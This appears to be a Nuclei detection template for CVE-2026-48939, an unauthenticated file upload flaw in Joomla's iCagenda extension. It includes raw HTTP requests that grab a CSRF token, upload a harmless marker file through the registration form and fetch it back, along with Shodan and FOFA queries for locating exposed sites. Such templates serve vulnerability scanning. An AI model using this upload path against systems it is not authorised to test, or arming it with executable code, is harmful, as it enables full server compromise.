CVE-2026-48939: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE

id: CVE-2026-48939

info:
  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
  impact: |
    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of iCagenda extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939
    - https://github.com/ChiefYoru/CVE-2026-48939_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48939
    epss-score: 0.20069
    epss-percentile: 0.97308
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlic
    product: icagenda
    framework: joomla
    shodan-query: http.html:"com_icagenda"
    fofa-query: body="com_icagenda"
  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /administrator/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "icagenda") || contains(body, "iCagenda")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'

  - raw:
      - |
        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/

        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="{{csrf}}"

        1
        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-48939-FILE-UPLOAD-CONFIRMED
        ------iCagendaBoundary48939--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 303'
        internal: true

  - raw:
      - |
        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
        condition: and
# digest: 4b0a004830460221009ea7103099d06c9593d0f9fdd1a332e2ec1ec2ac155c3ddf6b5a29d6eb01f4eb022100eb2b06c45cbac7b1d246ec1e59d72263b607372de8f6ce104e45b1ca3e96a3b6:922c64590222798bb761d5b6d8e72950

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